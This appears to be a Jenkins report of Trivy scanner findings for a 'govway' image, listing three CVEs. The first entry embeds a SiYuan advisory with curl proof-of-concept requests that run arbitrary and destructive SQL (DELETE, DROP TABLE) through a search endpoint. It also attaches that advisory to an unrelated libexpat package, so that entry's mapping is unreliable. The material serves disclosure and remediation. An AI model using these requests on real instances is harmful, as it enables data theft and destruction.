<reportApi _class='io.jenkins.plugins.analysis.core.restapi.ReportApi'><issue><addedAt>0</addedAt><authorEmail>-</authorEmail><authorName>-</authorName><baseName>govway</baseName><category></category><columnEnd>0</columnEnd><columnStart>0</columnStart><commit>-</commit><description></description><fileName>/linkitaly/govway</fileName><fingerprint>FALLBACK-25b388a0</fingerprint><lineEnd>1</lineEnd><lineStart>1</lineStart><message>CVE-2026-32767: OsPackageVulnerability

SiYuan: Authorization Bypass Allows Arbitrary SQL Execution via Search API

For additional help see: **Vulnerability CVE-2026-32767**
| Severity | Package | Fixed Version | Link |
| --- | --- | --- | --- |
|CRITICAL|libexpat|2.7.5-r0|[CVE-2026-32767](https://avd.aquasec.com/nvd/cve-2026-32767)|

## Summary

SiYuan Note v3.6.0 (and likely prior versions) contains an authorization bypass vulnerability in the `/api/search/fullTextSearchBlock` endpoint. When the `method` parameter is set to `2`, the endpoint passes user-supplied input directly as a raw SQL statement to the underlying SQLite database without any authorization or read-only checks. This allows any authenticated user — including those with the `Reader` role — to execute arbitrary SQL statements (SELECT, DELETE, UPDATE, DROP TABLE, etc.) against the application's database.

This is inconsistent with the application's own security model: the dedicated SQL endpoint (`/api/query/sql`) correctly requires both `CheckAdminRole` and `CheckReadonly` middleware, but the search endpoint bypasses these controls entirely.

## Root Cause Analysis

### The Vulnerable Endpoint

**File:** `kernel/api/router.go`, line 188

```go
ginServer.Handle("POST", "/api/search/fullTextSearchBlock", model.CheckAuth, fullTextSearchBlock)
```

This endpoint only applies `model.CheckAuth`, which permits **any** authenticated role (Administrator, Editor, or Reader).

### The Properly Protected Endpoint (for comparison)

**File:** `kernel/api/router.go`, line 177

```go
ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, SQL)
```

This endpoint correctly chains `CheckAdminRole` and `CheckReadonly`, restricting SQL execution to administrators in read-write mode.

### The Vulnerable Code Path

**File:** `kernel/api/search.go`, lines 389-411

```go
func fullTextSearchBlock(c *gin.Context) {
    // ...
    page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)
    blocks, matchedBlockCount, matchedRootCount, pageCount, docMode :=
        model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)
    // ...
}
```

**File:** `kernel/model/search.go`, lines 1205-1206

```go
case 2: // SQL
    blocks, matchedBlockCount, matchedRootCount = searchBySQL(query, beforeLen, page, pageSize)
```

When `method=2`, the raw `query` string is passed directly to `searchBySQL()`.

**File:** `kernel/model/search.go`, lines 1460-1462

```go
func searchBySQL(stmt string, beforeLen, page, pageSize int) (ret []*Block, ...) {
    stmt = strings.TrimSpace(stmt)
    blocks := sql.SelectBlocksRawStmt(stmt, page, pageSize)
```

**File:** `kernel/sql/block_query.go`, lines 566-569, 713-714

```go
func SelectBlocksRawStmt(stmt string, page, limit int) (ret []*Block) {
    parsedStmt, err := sqlparser.Parse(stmt)
    if err != nil {
        return selectBlocksRawStmt(stmt, limit)  // Falls through to raw execution
    }
    // ...
}

func selectBlocksRawStmt(stmt string, limit int) (ret []*Block) {
    rows, err := query(stmt)  // Executes arbitrary SQL
    // ...
}
```

**File:** `kernel/sql/database.go`, lines 1327-1337

```go
func query(query string, args ...interface{}) (*sql.Rows, error) {
    // ...
    return db.Query(query, args...)  // Go's database/sql db.Query — executes ANY SQL
}
```

Go's `database/sql` `db.Query()` will execute any SQL statement, including `DELETE`, `UPDATE`, `DROP TABLE`, `INSERT`, etc. The returned `*sql.Rows` will simply be empty for non-SELECT statements, but the destructive operation is still executed.

### Authorization Model

**File:** `kernel/model/session.go`, lines 201-210

```go
func CheckAuth(c *gin.Context) {
    // Already authenticated via JWT
    if role := GetGinContextRole(c); IsValidRole(role, []Role{
        RoleAdministrator,
        RoleEditor,
        RoleReader,       // &lt;-- Reader role passes CheckAuth
    }) {
        c.Next()
        return
    }
    // ...
}
```

**File:** `kernel/model/session.go`, lines 380-386

```go
func CheckAdminRole(c *gin.Context) {
    if IsAdminRoleContext(c) {
        c.Next()
    } else {
        c.AbortWithStatus(http.StatusForbidden)  // &lt;-- This check is MISSING on the search endpoint
    }
}
```

## Proof of Concept

### Prerequisites
- SiYuan instance accessible over the network (e.g., Docker deployment)
- Valid authentication as any user role (including `Reader`)

### Steps to Reproduce

1. Authenticate to SiYuan and obtain a valid session cookie or API token.

2. **Read all data (confidentiality breach):**
```bash
curl -X POST http://&lt;target&gt;:6806/api/search/fullTextSearchBlock \
  -H "Content-Type: application/json" \
  -H "Authorization: Token &lt;reader_token&gt;" \
  -d '{"method": 2, "query": "SELECT * FROM blocks LIMIT 100"}'
```

3. **Delete all blocks (integrity/availability breach):**
```bash
curl -X POST http://&lt;target&gt;:6806/api/search/fullTextSearchBlock \
  -H "Content-Type: application/json" \
  -H "Authorization: Token &lt;reader_token&gt;" \
  -d '{"method": 2, "query": "DELETE FROM blocks"}'
```

4. **Drop tables (availability breach):**
```bash
curl -X POST http://&lt;target&gt;:6806/api/search/fullTextSearchBlock \
  -H "Content-Type: application/json" \
  -H "Authorization: Token &lt;reader_token&gt;" \
  -d '{"method": 2, "query": "DROP TABLE blocks"}'
```

5. **Compare with the properly protected endpoint** (should return HTTP 403 for Reader role):
```bash
curl -X POST http://&lt;target&gt;:6806/api/query/sql \
  -H "Content-Type: application/json" \
  -H "Authorization: Token &lt;reader_token&gt;" \
  -d '{"stmt": "SELECT * FROM blocks LIMIT 10"}'
```

### Expected Behavior
The search endpoint should reject SQL execution for non-admin users, or at minimum enforce read-only access, consistent with `/api/query/sql`.

### Actual Behavior
Any authenticated user (including Reader role) can execute arbitrary SQL including destructive operations.

## Impact

In a multi-user deployment (e.g., Docker with published access, or any network-accessible instance with access authorization code):

- **Confidentiality:** A Reader-role user can read all data in the SQLite database, including blocks, assets, references, and configuration data they should not have access to.
- **Integrity:** A Reader-role user can modify or delete any data in the database, despite having read-only access by design.
- **Availability:** A Reader-role user can drop tables or corrupt the database, rendering the application unusable.

## Suggested Fix

Add `CheckAdminRole` and `CheckReadonly` middleware to the search endpoint, or add explicit validation that only SELECT statements are accepted when `method=2`:

**Option A — Restrict method=2 to admin (recommended):**

In `kernel/api/search.go`, add a role check when `method=2`:

```go
func fullTextSearchBlock(c *gin.Context) {
    // ...
    page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)

    // SQL mode requires admin privileges, consistent with /api/query/sql
    if method == 2 &amp;&amp; !model.IsAdminRoleContext(c) {
        ret.Code = -1
        ret.Msg = "SQL search requires administrator privileges"
        return
    }
    // ...
}
```

**Option B — Enforce SELECT-only for non-admin users:**

Validate the parsed SQL to ensure only SELECT statements are executed when the user is not an administrator.

Package: libexpat
Installed Version: 2.7.4-r0
Vulnerability CVE-2026-32767
Severity: CRITICAL
Fixed Version: 2.7.5-r0
Link: [CVE-2026-32767](https://avd.aquasec.com/nvd/cve-2026-32767)</message><moduleName></moduleName><origin>trivy</origin><originName>Trivy Security Scanner</originName><packageName>-</packageName><reference>1390</reference><severity>HIGH</severity><toString>govway(1,0): CVE-2026-32767: : CVE-2026-32767: OsPackageVulnerability

SiYuan: Authorization Bypass Allows Arbitrary SQL Execution via Search API

For additional help see: **Vulnerability CVE-2026-32767**
| Severity | Package | Fixed Version | Link |
| --- | --- | --- | --- |
|CRITICAL|libexpat|2.7.5-r0|[CVE-2026-32767](https://avd.aquasec.com/nvd/cve-2026-32767)|

## Summary

SiYuan Note v3.6.0 (and likely prior versions) contains an authorization bypass vulnerability in the `/api/search/fullTextSearchBlock` endpoint. When the `method` parameter is set to `2`, the endpoint passes user-supplied input directly as a raw SQL statement to the underlying SQLite database without any authorization or read-only checks. This allows any authenticated user — including those with the `Reader` role — to execute arbitrary SQL statements (SELECT, DELETE, UPDATE, DROP TABLE, etc.) against the application's database.

This is inconsistent with the application's own security model: the dedicated SQL endpoint (`/api/query/sql`) correctly requires both `CheckAdminRole` and `CheckReadonly` middleware, but the search endpoint bypasses these controls entirely.

## Root Cause Analysis

### The Vulnerable Endpoint

**File:** `kernel/api/router.go`, line 188

```go
ginServer.Handle("POST", "/api/search/fullTextSearchBlock", model.CheckAuth, fullTextSearchBlock)
```

This endpoint only applies `model.CheckAuth`, which permits **any** authenticated role (Administrator, Editor, or Reader).

### The Properly Protected Endpoint (for comparison)

**File:** `kernel/api/router.go`, line 177

```go
ginServer.Handle("POST", "/api/query/sql", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, SQL)
```

This endpoint correctly chains `CheckAdminRole` and `CheckReadonly`, restricting SQL execution to administrators in read-write mode.

### The Vulnerable Code Path

**File:** `kernel/api/search.go`, lines 389-411

```go
func fullTextSearchBlock(c *gin.Context) {
    // ...
    page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)
    blocks, matchedBlockCount, matchedRootCount, pageCount, docMode :=
        model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize)
    // ...
}
```

**File:** `kernel/model/search.go`, lines 1205-1206

```go
case 2: // SQL
    blocks, matchedBlockCount, matchedRootCount = searchBySQL(query, beforeLen, page, pageSize)
```

When `method=2`, the raw `query` string is passed directly to `searchBySQL()`.

**File:** `kernel/model/search.go`, lines 1460-1462

```go
func searchBySQL(stmt string, beforeLen, page, pageSize int) (ret []*Block, ...) {
    stmt = strings.TrimSpace(stmt)
    blocks := sql.SelectBlocksRawStmt(stmt, page, pageSize)
```

**File:** `kernel/sql/block_query.go`, lines 566-569, 713-714

```go
func SelectBlocksRawStmt(stmt string, page, limit int) (ret []*Block) {
    parsedStmt, err := sqlparser.Parse(stmt)
    if err != nil {
        return selectBlocksRawStmt(stmt, limit)  // Falls through to raw execution
    }
    // ...
}

func selectBlocksRawStmt(stmt string, limit int) (ret []*Block) {
    rows, err := query(stmt)  // Executes arbitrary SQL
    // ...
}
```

**File:** `kernel/sql/database.go`, lines 1327-1337

```go
func query(query string, args ...interface{}) (*sql.Rows, error) {
    // ...
    return db.Query(query, args...)  // Go's database/sql db.Query — executes ANY SQL
}
```

Go's `database/sql` `db.Query()` will execute any SQL statement, including `DELETE`, `UPDATE`, `DROP TABLE`, `INSERT`, etc. The returned `*sql.Rows` will simply be empty for non-SELECT statements, but the destructive operation is still executed.

### Authorization Model

**File:** `kernel/model/session.go`, lines 201-210

```go
func CheckAuth(c *gin.Context) {
    // Already authenticated via JWT
    if role := GetGinContextRole(c); IsValidRole(role, []Role{
        RoleAdministrator,
        RoleEditor,
        RoleReader,       // &lt;-- Reader role passes CheckAuth
    }) {
        c.Next()
        return
    }
    // ...
}
```

**File:** `kernel/model/session.go`, lines 380-386

```go
func CheckAdminRole(c *gin.Context) {
    if IsAdminRoleContext(c) {
        c.Next()
    } else {
        c.AbortWithStatus(http.StatusForbidden)  // &lt;-- This check is MISSING on the search endpoint
    }
}
```

## Proof of Concept

### Prerequisites
- SiYuan instance accessible over the network (e.g., Docker deployment)
- Valid authentication as any user role (including `Reader`)

### Steps to Reproduce

1. Authenticate to SiYuan and obtain a valid session cookie or API token.

2. **Read all data (confidentiality breach):**
```bash
curl -X POST http://&lt;target&gt;:6806/api/search/fullTextSearchBlock \
  -H "Content-Type: application/json" \
  -H "Authorization: Token &lt;reader_token&gt;" \
  -d '{"method": 2, "query": "SELECT * FROM blocks LIMIT 100"}'
```

3. **Delete all blocks (integrity/availability breach):**
```bash
curl -X POST http://&lt;target&gt;:6806/api/search/fullTextSearchBlock \
  -H "Content-Type: application/json" \
  -H "Authorization: Token &lt;reader_token&gt;" \
  -d '{"method": 2, "query": "DELETE FROM blocks"}'
```

4. **Drop tables (availability breach):**
```bash
curl -X POST http://&lt;target&gt;:6806/api/search/fullTextSearchBlock \
  -H "Content-Type: application/json" \
  -H "Authorization: Token &lt;reader_token&gt;" \
  -d '{"method": 2, "query": "DROP TABLE blocks"}'
```

5. **Compare with the properly protected endpoint** (should return HTTP 403 for Reader role):
```bash
curl -X POST http://&lt;target&gt;:6806/api/query/sql \
  -H "Content-Type: application/json" \
  -H "Authorization: Token &lt;reader_token&gt;" \
  -d '{"stmt": "SELECT * FROM blocks LIMIT 10"}'
```

### Expected Behavior
The search endpoint should reject SQL execution for non-admin users, or at minimum enforce read-only access, consistent with `/api/query/sql`.

### Actual Behavior
Any authenticated user (including Reader role) can execute arbitrary SQL including destructive operations.

## Impact

In a multi-user deployment (e.g., Docker with published access, or any network-accessible instance with access authorization code):

- **Confidentiality:** A Reader-role user can read all data in the SQLite database, including blocks, assets, references, and configuration data they should not have access to.
- **Integrity:** A Reader-role user can modify or delete any data in the database, despite having read-only access by design.
- **Availability:** A Reader-role user can drop tables or corrupt the database, rendering the application unusable.

## Suggested Fix

Add `CheckAdminRole` and `CheckReadonly` middleware to the search endpoint, or add explicit validation that only SELECT statements are accepted when `method=2`:

**Option A — Restrict method=2 to admin (recommended):**

In `kernel/api/search.go`, add a role check when `method=2`:

```go
func fullTextSearchBlock(c *gin.Context) {
    // ...
    page, pageSize, query, paths, boxes, types, method, orderBy, groupBy := parseSearchBlockArgs(arg)

    // SQL mode requires admin privileges, consistent with /api/query/sql
    if method == 2 &amp;&amp; !model.IsAdminRoleContext(c) {
        ret.Code = -1
        ret.Msg = "SQL search requires administrator privileges"
        return
    }
    // ...
}
```

**Option B — Enforce SELECT-only for non-admin users:**

Validate the parsed SQL to ensure only SELECT statements are executed when the user is not an administrator.

Package: libexpat
Installed Version: 2.7.4-r0
Vulnerability CVE-2026-32767
Severity: CRITICAL
Fixed Version: 2.7.5-r0
Link: [CVE-2026-32767](https://avd.aquasec.com/nvd/cve-2026-32767)</toString><type>CVE-2026-32767</type></issue><issue><addedAt>0</addedAt><authorEmail>-</authorEmail><authorName>-</authorName><baseName>govway</baseName><category></category><columnEnd>0</columnEnd><columnStart>0</columnStart><commit>-</commit><description></description><fileName>/linkitaly/govway</fileName><fingerprint>FALLBACK-4b1da1cc</fingerprint><lineEnd>1</lineEnd><lineStart>1</lineStart><message>CVE-2026-32777: OsPackageVulnerability

libexpat: libexpat: Denial of Service via infinite loop in DTD content parsing

For additional help see: **Vulnerability CVE-2026-32777**
| Severity | Package | Fixed Version | Link |
| --- | --- | --- | --- |
|MEDIUM|libexpat|2.7.5-r0|[CVE-2026-32777](https://avd.aquasec.com/nvd/cve-2026-32777)|

libexpat before 2.7.5 allows an infinite loop while parsing DTD content.

Package: libexpat
Installed Version: 2.7.4-r0
Vulnerability CVE-2026-32777
Severity: MEDIUM
Fixed Version: 2.7.5-r0
Link: [CVE-2026-32777](https://avd.aquasec.com/nvd/cve-2026-32777)</message><moduleName></moduleName><origin>trivy</origin><originName>Trivy Security Scanner</originName><packageName>-</packageName><reference>1390</reference><severity>NORMAL</severity><toString>govway(1,0): CVE-2026-32777: : CVE-2026-32777: OsPackageVulnerability

libexpat: libexpat: Denial of Service via infinite loop in DTD content parsing

For additional help see: **Vulnerability CVE-2026-32777**
| Severity | Package | Fixed Version | Link |
| --- | --- | --- | --- |
|MEDIUM|libexpat|2.7.5-r0|[CVE-2026-32777](https://avd.aquasec.com/nvd/cve-2026-32777)|

libexpat before 2.7.5 allows an infinite loop while parsing DTD content.

Package: libexpat
Installed Version: 2.7.4-r0
Vulnerability CVE-2026-32777
Severity: MEDIUM
Fixed Version: 2.7.5-r0
Link: [CVE-2026-32777](https://avd.aquasec.com/nvd/cve-2026-32777)</toString><type>CVE-2026-32777</type></issue><issue><addedAt>0</addedAt><authorEmail>-</authorEmail><authorName>-</authorName><baseName>govway</baseName><category></category><columnEnd>0</columnEnd><columnStart>0</columnStart><commit>-</commit><description></description><fileName>/linkitaly/govway</fileName><fingerprint>FALLBACK-4b3a3abd</fingerprint><lineEnd>1</lineEnd><lineStart>1</lineStart><message>CVE-2026-32778: OsPackageVulnerability

libexpat: libexpat: Denial of Service via NULL pointer dereference after out-of-memory condition

For additional help see: **Vulnerability CVE-2026-32778**
| Severity | Package | Fixed Version | Link |
| --- | --- | --- | --- |
|MEDIUM|libexpat|2.7.5-r0|[CVE-2026-32778](https://avd.aquasec.com/nvd/cve-2026-32778)|

libexpat before 2.7.5 allows a NULL pointer dereference in the function setContext on retry after an earlier ouf-of-memory condition.

Package: libexpat
Installed Version: 2.7.4-r0
Vulnerability CVE-2026-32778
Severity: MEDIUM
Fixed Version: 2.7.5-r0
Link: [CVE-2026-32778](https://avd.aquasec.com/nvd/cve-2026-32778)</message><moduleName></moduleName><origin>trivy</origin><originName>Trivy Security Scanner</originName><packageName>-</packageName><reference>1390</reference><severity>NORMAL</severity><toString>govway(1,0): CVE-2026-32778: : CVE-2026-32778: OsPackageVulnerability

libexpat: libexpat: Denial of Service via NULL pointer dereference after out-of-memory condition

For additional help see: **Vulnerability CVE-2026-32778**
| Severity | Package | Fixed Version | Link |
| --- | --- | --- | --- |
|MEDIUM|libexpat|2.7.5-r0|[CVE-2026-32778](https://avd.aquasec.com/nvd/cve-2026-32778)|

libexpat before 2.7.5 allows a NULL pointer dereference in the function setContext on retry after an earlier ouf-of-memory condition.

Package: libexpat
Installed Version: 2.7.4-r0
Vulnerability CVE-2026-32778
Severity: MEDIUM
Fixed Version: 2.7.5-r0
Link: [CVE-2026-32778](https://avd.aquasec.com/nvd/cve-2026-32778)</toString><type>CVE-2026-32778</type></issue><size>3</size><toString>3 warnings (high: 1, normal: 2)</toString></reportApi>